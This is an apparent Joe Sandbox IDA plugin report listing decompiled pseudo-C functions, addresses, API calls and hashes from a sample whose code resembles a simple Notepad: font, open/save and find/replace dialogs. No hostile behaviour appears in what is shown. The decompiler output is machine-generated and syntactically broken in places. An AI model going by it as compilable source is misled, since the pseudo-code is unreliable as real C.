0x0040c8f8
0x0040c8fd
0x0040c903
0x00000000
0x00000000
0x00000000
0x0040c8e7

APIs

GetStdHandle.KERNEL32(000000F4), ref: 0040C86F
GetFileType.KERNEL32(00000000), ref: 0040C881
swprintf.LIBCMT ref: 0040C8A2
WriteConsoleW.KERNEL32(00000000,?,?,?,00000000), ref: 0040C8DF

Strings

Assertion failed: %Ts, file %Ts, line %d, xrefs: 0040C897

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: ConsoleFileHandleTypeWriteswprintf
String ID: Assertion failed: %Ts, file %Ts, line %d
API String ID: 2943507729-1719349581
Opcode ID: 99df94fd76ca1cd18ec9d6f20a09407979dfcc160abf30f244c8f1da074730a1
Instruction ID: 79401274dc2e7ac959939676f9c4b85bb0d5414f0db8a0a5bc389bfbb69e4ef0
Opcode Fuzzy Hash: 99df94fd76ca1cd18ec9d6f20a09407979dfcc160abf30f244c8f1da074730a1
Instruction Fuzzy Hash: 4311E6B6500118ABCB20AB29CC859EF7768DB49311F50866AFA16E3280DA349D458BAC

Uniqueness

Uniqueness Score: -1.00%

Function 00402051 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402051() {
				struct %anon40 _v64;
				void _v156;
				void* __edi;
				intOrPtr _t16;
				int _t19;
				int _t21;
				int _t23;
				void* _t25;
				signed int _t27;
				signed int _t29;
				int _t38;

				_t27 = 0x17;
				memcpy( &_v156, 0x44cf20, _t27 << 2);
				_t38 = 0x3c;
				E00403D00(0x44cf20 + _t27 + _t27,  &_v64, 0, 0x44cf20);
				_t16 =  *0x44cf04; // 0x0
				_v64.hwndOwner = _t16;
				_v64.lpLogFont =  &_v156;
				_v64.lStructSize = _t38;
				_v64.Flags = 0x1000041;
				_t19 = ChooseFontW( &_v64);
				if(_t19 != 0) {
					_t25 =  *0x44cf10; // 0x0
					_t21 = CreateFontIndirectW( &_v156);
					_t29 = 0x17;
					 *0x44cf10 = _t21;
					memcpy(0x44cf20,  &_v156, _t29 << 2);
					_t23 = SendMessageW( *0x44cf0c, 0x30,  *0x44cf10, 1);
					if(_t25 != 0) {
						_t23 = DeleteObject(_t25);
					}
					return _t23;
				}
				return _t19;
			}

0x0040205e
0x0040206c
0x0040206e
0x00402076
0x0040207b
0x00402083
0x0040208c
0x00402092
0x00402096
0x0040209d
0x004020a5
0x004020a8
0x004020b5
0x004020bd
0x004020c0
0x004020d0
0x004020e0
0x004020e8
0x004020eb
0x004020eb
0x00000000
0x004020f1
0x004020f7

APIs

ChooseFontW.COMDLG32(?), ref: 0040209D
CreateFontIndirectW.GDI32(?), ref: 004020B5
SendMessageW.USER32(00000030,00000001), ref: 004020E0
DeleteObject.GDI32(00000000), ref: 004020EB

Strings

A, xrefs: 00402096

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: Font$ChooseCreateDeleteIndirectMessageObjectSend
String ID: A
API String ID: 2123331125-3554254475
Opcode ID: 890e82edb277f02319b26f0a062897852de032f8c4ca04ca15964c7c30577fa2
Instruction ID: 86fb41d0750ae92146f20a6533270960128cd8a8dbe0021798e7a5681c69aad1
Opcode Fuzzy Hash: 890e82edb277f02319b26f0a062897852de032f8c4ca04ca15964c7c30577fa2
Instruction Fuzzy Hash: 3B115E76901218ABDB609F61FC89FCABB7DFB06710F044076FA08A72D1DB755948CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040DF75 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 25%

			E0040DF75(intOrPtr _a4) {
				char _v16;
				signed int _v20;
				signed int _t11;
				int _t14;
				void* _t16;
				void* _t20;
				int _t22;
				signed int _t23;

				_t11 =  *0x44b018; // 0x1989d38f
				 *[fs:0x0] =  &_v16;
				_v20 = _v20 & 0x00000000;
				_t14 =  &_v20;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t14, _t11 ^ _t23, _t20, _t16,  *[fs:0x0], E0043FD2C, 0xffffffff);
				if(_t14 != 0) {
					_t14 = GetProcAddress(_v20, "CorExitProcess");
					_t22 = _t14;
					if(_t22 != 0) {
						 *0x44039c(_a4);
						_t14 =  *_t22();
					}
				}
				if(_v20 != 0) {
					_t14 = FreeLibrary(_v20);
				}
				 *[fs:0x0] = _v16;
				return _t14;
			}

0x0040df8a
0x0040df95
0x0040df9b
0x0040df9f
0x0040dfaa
0x0040dfb2
0x0040dfbc
0x0040dfc2
0x0040dfc6
0x0040dfcd
0x0040dfd3
0x0040dfd3
0x0040dfc6
0x0040dfd9
0x0040dfde
0x0040dfde
0x0040dfe7
0x0040dff1

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,1989D38F,00000000,?,00000000,0043FD2C,000000FF,?,0040DF05,?,?,0040DED9,?), ref: 0040DFAA
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040DFBC
FreeLibrary.KERNEL32(00000000,?,00000000,0043FD2C,000000FF,?,0040DF05,?,?,0040DED9,?), ref: 0040DFDE

Strings

CorExitProcess, xrefs: 0040DFB4
mscoree.dll, xrefs: 0040DFA3

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 6556c08b0c65f96d73fde25f1ec251913a82b5857a85c06094573b17a1135ddb
Instruction ID: fb93fa82371f4d0a2de858d828d0567e9af61695c1df0122806b05ac7d3b27e2
Opcode Fuzzy Hash: 6556c08b0c65f96d73fde25f1ec251913a82b5857a85c06094573b17a1135ddb
Instruction Fuzzy Hash: 0A01D675914619AFDB118F90DC09FAFBBB8FB05B21F004136F813A27E0DB799904CA98

Uniqueness

Uniqueness Score: -1.00%

Function 0042A5C1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042A5C1(WCHAR* _a4) {
				struct HINSTANCE__* _t5;

				_t5 = LoadLibraryExW(_a4, 0, 0x800);
				if(_t5 != 0) {
					return _t5;
				} else {
					if(GetLastError() != 0x57 || E00428702(_a4, L"api-ms-", 7) == 0 || E00428702(_a4, L"ext-ms-", 7) == 0) {
						return 0;
					}
					return LoadLibraryExW(_a4, 0, 0);
				}
			}

0x0042a5d0
0x0042a5d8
0x0042a623
0x0042a5da
0x0042a5e3
0x00000000
0x0042a620
0x0042a61f
0x0042a61f

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,0042A57A), ref: 0042A5D0
GetLastError.KERNEL32(?,0042A57A), ref: 0042A5DA
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 0042A618

Strings

api-ms-, xrefs: 0042A5E7
ext-ms-, xrefs: 0042A5FD

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-$ext-ms-
API String ID: 3177248105-537541572
Opcode ID: 99efab121857917dc44ec456727a287a38cc6f77584a8a42bb4d3db68b313d89
Instruction ID: b44ff090d3d3fa3c4dbbb57a824ca2c785c95783b836029d1d842e6d4dbd635a
Opcode Fuzzy Hash: 99efab121857917dc44ec456727a287a38cc6f77584a8a42bb4d3db68b313d89
Instruction Fuzzy Hash: 0BF08231740204B7EB201F61ED07B1D3A559B54B49F640031FE4CA81E1DF7AED30865D

Uniqueness

Uniqueness Score: -1.00%

Function 0040146D Relevance: 7.6, APIs: 5, Instructions: 63
windowCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E0040146D(struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				void* _v524;
				void* _t10;
				intOrPtr _t16;
				void* _t18;
				struct HWND__* _t19;
				unsigned int _t21;
				long _t23;

				_t10 = _a8 - 0x4e;
				if(_t10 == 0) {
					if( *((intOrPtr*)(_a16 + 8)) != 0xfffffda6 ||  *0x44dc6c == 0) {
						L12:
						return 0;
					} else {
						SendMessageW(GetParent(_a4), 0x465, 0,  &_v524);
						_t16 = E00401391( &_v524);
						if(_t16 == 0xffffffff) {
							goto L12;
						}
						_push(0);
						_push(_t16);
						_push(0x14e);
						_push( *0x44ced0);
						 *0x44dc68 = _t16;
						L11:
						SendMessageW();
						goto L12;
					}
				}
				_t18 = _t10 - 0xc2;
				if(_t18 == 0) {
					_t19 = GetDlgItem(_a4, 0x191);
					_push(0);
					_push( *0x44dc68);
					 *0x44ced0 = _t19;
					_push(0x14e);
					_push(_t19);
					goto L11;
				} else {
					if(_t18 == 1) {
						_t21 = _a12;
						if(_t21 == 0x191 && _t21 >> 0x10 == 1) {
							_t23 = SendMessageW( *0x44ced0, 0x147, 0, 0);
							_t24 =  ==  ? 0 : _t23;
							 *0x44dc68 =  ==  ? 0 : _t23;
						}
					}
					goto L12;
				}
			}

0x00401479
0x0040147c
0x004014fd
0x0040154f
0x00401554
0x00401508
0x00401520
0x0040152c
0x00401534
0x00000000
0x00000000
0x00401536
0x00401538
0x00401539
0x0040153e
0x00401544
0x00401549
0x00401549
0x00000000
0x00401549
0x004014fd
0x0040147e
0x00401483
0x004014d8
0x004014de
0x004014e0
0x004014e6
0x004014eb
0x004014f0
0x00000000
0x00401485
0x00401488
0x0040148e
0x00401499
0x004014bb
0x004014c6
0x004014c9
0x004014c9
0x00401499
0x00000000
0x00401488

APIs

SendMessageW.USER32(00000147,00000000,00000000), ref: 004014BB
GetDlgItem.USER32 ref: 004014D8
GetParent.USER32(FFFFFDA6), ref: 00401519
SendMessageW.USER32(00000000), ref: 00401520
SendMessageW.USER32(0000014E,00000000,00000000), ref: 00401549

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: MessageSend$ItemParent
String ID:
API String ID: 2505470899-0
Opcode ID: 7450f268cd2d7d76def50b3fdfa13095f00f6fb07666318cd9b2d6126eca4309
Instruction ID: 2ed857e3b27790949f6dfcc2e1ebcd7e38406b0a78d5fdabb359563f47f2c621
Opcode Fuzzy Hash: 7450f268cd2d7d76def50b3fdfa13095f00f6fb07666318cd9b2d6126eca4309
Instruction Fuzzy Hash: D8219674540316BBDB205F2CDD8DB6A3B66BB05714F500236F916EA2F0D7B49991CA0C

Uniqueness

Uniqueness Score: -1.00%

Function 00401391 Relevance: 7.6, APIs: 5, Instructions: 54
fileCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E00401391(WCHAR* __ecx) {
				long _v8;
				void _v264;
				int _t11;
				long _t18;
				signed int _t21;
				signed int _t22;
				void* _t23;

				_t23 = CreateFileW(__ecx, 0x80000000, 1, 0, 3, 0x80, 0);
				_t22 = _t21 | 0xffffffff;
				if(_t23 != _t22) {
					_t18 = GetFileSize(_t23, 0);
					if(_t18 != _t22) {
						_t9 =  <  ? _t18 : 0xff;
						_t11 = ReadFile(_t23,  &_v264,  <  ? _t18 : 0xff,  &_v8, 0);
						_push(_t23);
						if(_t11 == 0) {
							L4:
							CloseHandle();
							goto L1;
						}
						CloseHandle();
						return E004010A1( &_v264, _v8);
					}
					_push(_t23);
					goto L4;
				}
				L1:
				return _t22;
			}

0x004013b6
0x004013b8
0x004013bd
0x004013cb
0x004013cf
0x004013e6
0x004013f2
0x004013f8
0x004013fb
0x004013d2
0x004013d2
0x00000000
0x004013d2
0x004013fd
0x00000000
0x0040140c
0x004013d1
0x00000000
0x004013d1
0x004013bf
0x00000000

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004013B0
GetFileSize.KERNEL32(00000000,00000000,?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004013C5
CloseHandle.KERNEL32(00000000,?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004013D2
ReadFile.KERNEL32(00000000,?,000000FF,?,00000000,?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004013F2
CloseHandle.KERNEL32(00000000,?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004013FD

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: File$CloseHandle$CreateReadSize
String ID:
API String ID: 3664964396-0
Opcode ID: bb1fcf741a9ca0aed3d8f1185cca1f263be66a26228ed12e4656d0d9339d34eb
Instruction ID: 36e5b8c78ff92f1b68859618f1f72a6feb0e118fccf722043412c82db1c232ef
Opcode Fuzzy Hash: bb1fcf741a9ca0aed3d8f1185cca1f263be66a26228ed12e4656d0d9339d34eb
Instruction Fuzzy Hash: BA01DF75200118BFEB21A764AC88FAF726CEB42355F100236FF46F21E0EA744D514AA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040171B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040171B(signed short* __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed int _t23;
				signed short* _t30;
				short _t31;
				int _t34;
				signed short* _t35;
				signed short* _t36;
				long _t37;
				short _t39;
				void* _t40;
				signed int _t41;
				signed int _t44;
				signed int _t45;
				void* _t47;
				signed int _t49;
				void* _t50;
				long _t53;
				signed int _t55;
				void* _t57;
				void* _t58;
				void* _t59;

				_t36 = __ecx;
				_t35 = __ecx;
				_v12 = __edx;
				_v16 = 0x26;
				_t23 = 0;
				_t53 = 0;
				_t49 = 0;
				if( *__ecx == 0) {
					L11:
					_t50 = HeapAlloc(GetProcessHeap(), 0, 2 + _t23 * 2);
					if(_t50 == 0) {
						L25:
						return _t50;
					}
					_t44 = 0;
					_t55 = 0;
					_t37 = 0;
					_v8 = 0;
					if( *_t35 == 0) {
						L24:
						 *(_t50 + _t55 * 2) = 0;
						goto L25;
					}
					_t30 = _t35;
					do {
						_t31 =  *_t30 & 0x0000ffff;
						if(_t37 == 0) {
							if(_t31 != _v16) {
								 *(_t50 + _t55 * 2) = _t31;
								_t55 = _t55 + 1;
							} else {
								_t37 = 1;
							}
						} else {
							_t39 = 0x26;
							if(_t31 != _t39) {
								_t40 = 0x70;
								if(_t31 == _t40) {
									_t34 = wnsprintfW(_t50 + _t55 * 2, 0xb, 0x447a08, _v12);
									_t44 = _v8;
									_t59 = _t59 + 0x10;
									_t55 = _t55 + _t34;
								}
							} else {
								 *(_t50 + _t55 * 2) = _t39;
								_t55 = _t55 + 1;
							}
							_t37 = 0;
						}
						_t45 = _t44 + 1;
						_v8 = _t45;
						_t30 =  &(_t35[_t45]);
						_t44 = _v8;
					} while ( *_t30 != 0);
					goto L24;
				} else {
					goto L1;
				}
				do {
					L1:
					_push(0x26);
					if(_t53 == 0) {
						_pop(_t47);
						_push(0);
						_pop(0);
						if( *_t36 != _t47) {
							_t23 = _t23 + 1;
						} else {
							_t53 = 1;
						}
					} else {
						_t41 =  *_t36 & 0x0000ffff;
						_pop(_t57);
						if(_t41 != _t57) {
							_t58 = 0x70;
							if(_t41 == _t58) {
								_t23 = _t23 + 0xb;
							}
						} else {
							_t23 = _t23 + 1;
						}
						_t53 = 0;
					}
					_t49 = _t49 + 1;
					_t36 =  &(_t35[_t49]);
				} while ( *_t36 != 0);
				goto L11;
			}

0x0040171b
0x00401722
0x00401724
0x00401729
0x00401732
0x00401734
0x00401736
0x0040173b
0x00401776
0x0040178c
0x00401790
0x0040180b
0x00401813
0x00401813
0x00401794
0x00401796
0x00401798
0x0040179a
0x004017a0
0x00401805
0x00401807
0x00000000
0x00401807
0x004017a2
0x004017a4
0x004017a4
0x004017a9
0x004017e8
0x004017ef
0x004017f3
0x004017ea
0x004017ec
0x004017ec
0x004017ab
0x004017ad
0x004017b1
0x004017bc
0x004017c0
0x004017d0
0x004017d6
0x004017d9
0x004017dc
0x004017dc
0x004017b3
0x004017b3
0x004017b7
0x004017b7
0x004017e0
0x004017e0
0x004017f4
0x004017f5
0x004017f8
0x00401800
0x00401800
0x00000000
0x00000000
0x00000000
0x00000000
0x0040173d
0x0040173d
0x0040173d
0x00401741
0x0040175e
0x00401762
0x00401764
0x00401765
0x0040176c
0x00401767
0x00401769
0x00401769
0x00401743
0x00401743
0x00401746
0x0040174a
0x00401751
0x00401755
0x00401757
0x00401757
0x0040174c
0x0040174c
0x0040174c
0x0040175a
0x0040175a
0x0040176d
0x0040176e
0x00401771
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040177F
HeapAlloc.KERNEL32(00000000), ref: 00401786
wnsprintfW.SHLWAPI ref: 004017D0

Strings

&, xrefs: 00401729

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: Heap$AllocProcesswnsprintf
String ID: &
API String ID: 3886780628-1010288
Opcode ID: 84c691f8b60368da06954949850fd1694c7aedcbf2d82b668623104e533bd806
Instruction ID: 8a357e19f2af0a4d2ea800eed7b832548ff5bbe0d4cd8803dad4478f50b07c9f
Opcode Fuzzy Hash: 84c691f8b60368da06954949850fd1694c7aedcbf2d82b668623104e533bd806
Instruction Fuzzy Hash: 6731F536E00215ABCB35AB78C840ABBB3A1FB98710F548177D846E72E4E6758D4283D8

Uniqueness

Uniqueness Score: -1.00%

Function 00401557 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401557(void* __edi) {
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v32;
				intOrPtr _v40;
				signed int _v60;
				WCHAR* _v64;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				struct tagOFNA _v92;
				short _v612;
				intOrPtr _t21;
				intOrPtr _t22;
				int _t25;

				E00403D00(__edi,  &_v92, 0, 0x58);
				lstrcpyW( &_v612, L"*.txt");
				_t21 =  *0x44cf04; // 0x0
				_v60 = _v60 & 0x00000000;
				 *0x44dc68 =  *0x44dc68 & 0x00000000;
				_v88 = _t21;
				_t22 =  *0x44cf00; // 0x0
				_v84 = _t22;
				_v64 =  &_v612;
				_v92 = 0x58;
				_v80 = 0x44d7a4;
				_v40 = 0x881864;
				_v24 = E0040146D;
				_v20 = 0x190;
				_v32 = 0x447a10;
				 *0x44dc6c = 1;
				_t25 = GetOpenFileNameW( &_v92);
				if(_t25 != 0) {
					return E004010F4(_v64,  *0x44dc68);
				}
				return _t25;
			}

0x00401568
0x0040157c
0x00401582
0x00401587
0x0040158b
0x00401592
0x00401595
0x0040159a
0x004015a3
0x004015aa
0x004015b1
0x004015b8
0x004015bf
0x004015c6
0x004015cd
0x004015d4
0x004015de
0x004015e6
0x00000000
0x004015f1
0x004015f9

APIs

lstrcpyW.KERNEL32 ref: 0040157C
GetOpenFileNameW.COMDLG32(?), ref: 004015DE

Part of subcall function 004010F4: CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 00401121
Part of subcall function 004010F4: GetFileSize.KERNEL32(00000000,00000000,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 00401135
Part of subcall function 004010F4: GetProcessHeap.KERNEL32(00000000,-00000002,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 00401149
Part of subcall function 004010F4: HeapAlloc.KERNEL32(00000000,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 00401150
Part of subcall function 004010F4: CloseHandle.KERNEL32(00000000,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0040115D

Strings

X, xrefs: 004015AA
*.txt, xrefs: 00401576

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: File$Heap$AllocCloseCreateHandleNameOpenProcessSizelstrcpy
String ID: *.txt$X
API String ID: 1235598976-2927553402
Opcode ID: b18bbc3e88d30829cbc58f5c02543d6f7b9283fa11732ffb6d43da3ea8c08ac6
Instruction ID: 955bdf9d55a00eaad43a300bcd8c6dc851d64748ef0514cefc4d33d6a3f96c26
Opcode Fuzzy Hash: b18bbc3e88d30829cbc58f5c02543d6f7b9283fa11732ffb6d43da3ea8c08ac6
Instruction Fuzzy Hash: 2E115BB4D0024C9BDB00DFD1EC897DEBBB8BB05305F00402AD904BB290DBB95608CF88

Uniqueness

Uniqueness Score: -1.00%

Function 00401611 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
stringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00401611() {
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v32;
				intOrPtr _v40;
				signed int _v60;
				WCHAR* _v64;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				struct tagOFNA _v92;
				short _v612;
				intOrPtr _t20;
				intOrPtr _t21;
				signed int _t25;
				void* _t28;

				E00403D00(_t28,  &_v92, 0, 0x58);
				lstrcpyW( &_v612, L"*.txt");
				_t20 =  *0x44cf04; // 0x0
				_v60 = _v60 & 0x00000000;
				 *0x44dc6c =  *0x44dc6c & 0x00000000;
				_v88 = _t20;
				_t21 =  *0x44cf00; // 0x0
				_v84 = _t21;
				_v64 =  &_v612;
				 *0x44dc68 =  *0x44d7a0;
				_v92 = 0x58;
				_v80 = 0x44d7a4;
				_v40 = 0x880866;
				_v24 = E0040146D;
				_v20 = 0x190;
				_v32 = L"txt";
				_t25 = GetSaveFileNameW( &_v92);
				asm("sbb eax, eax");
				return  ~( ~_t25);
			}

0x00401622
0x00401636
0x0040163c
0x00401641
0x00401645
0x0040164c
0x0040164f
0x00401654
0x0040165d
0x00401665
0x0040166e
0x00401675
0x0040167c
0x00401683
0x0040168a
0x00401691
0x00401698
0x004016a0
0x004016a7

APIs

lstrcpyW.KERNEL32 ref: 00401636
GetSaveFileNameW.COMDLG32(?), ref: 00401698

Strings

*.txt, xrefs: 00401630
X, xrefs: 0040166E

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: FileNameSavelstrcpy
String ID: *.txt$X
API String ID: 4227682130-2927553402
Opcode ID: c615ea36e4701d9211b137ec97af106c774438422c17d1dd9a652d91a49a3d49
Instruction ID: d785ac8fde8fb99cc0d04241f746dc4c4e48c27722e92e1eaf8edb72bd82a361
Opcode Fuzzy Hash: c615ea36e4701d9211b137ec97af106c774438422c17d1dd9a652d91a49a3d49
Instruction Fuzzy Hash: 6D0105B9D002489FDB00DFE4EC89B9EBBB4AB05705F00412AA904E6290E7B95608CF88

Uniqueness

Uniqueness Score: -1.00%

Function 00402189 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402189() {
				void* __edi;
				struct HWND__* _t2;
				intOrPtr _t5;
				intOrPtr _t6;
				void* _t8;
				void* _t11;
				signed int _t12;
				void* _t15;
				void* _t18;
				void* _t19;

				_t2 =  *0x44cf08; // 0x0
				if(_t2 == 0) {
					_t12 = 0xa;
					memset(0x44e09c, 0, _t12 << 2);
					_t5 =  *0x44cf04; // 0x0
					 *0x44e0a0 = _t5;
					_t6 =  *0x44cf00; // 0x0
					 *0x44e0a4 = _t6;
					0x44e09c->lStructSize = 0x28;
					 *0x44e0ac = 0x44cf80;
					 *0x44e0b4 = 0;
					 *0x44e0b0 = 0x44d188;
					 *0x44e0a8 = 0x10001;
					_t8 = ReplaceTextW(0x44e09c);
					 *0x44cf08 = _t8;
					_t18 = _t15;
					__eflags = _t8;
					if(__eflags == 0) {
						_push(0x563);
						return E0040CA7D(_t11, 0x44e09c, _t18, _t19, __eflags, L"Globals.hFindReplaceDlg != 0", L"main.c");
					}
					return _t8;
				} else {
					return SetActiveWindow(_t2);
				}
			}

0x00402189
0x00402190
0x004021a4
0x004021a7
0x004021a9
0x004021ae
0x004021b3
0x004021b8
0x004021c0
0x004021ca
0x004021d4
0x004021d9
0x004021e3
0x004021ed
0x004021f3
0x004021f8
0x004021f9
0x004021fb
0x004021fd
0x00000000
0x00402211
0x00402214
0x00402192
0x00402199
0x00402199

APIs

SetActiveWindow.USER32(00000000), ref: 00402193
ReplaceTextW.COMDLG32(0044E09C), ref: 004021ED

Strings

Globals.hFindReplaceDlg != 0, xrefs: 00402207
main.c, xrefs: 00402202

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: ActiveReplaceTextWindow
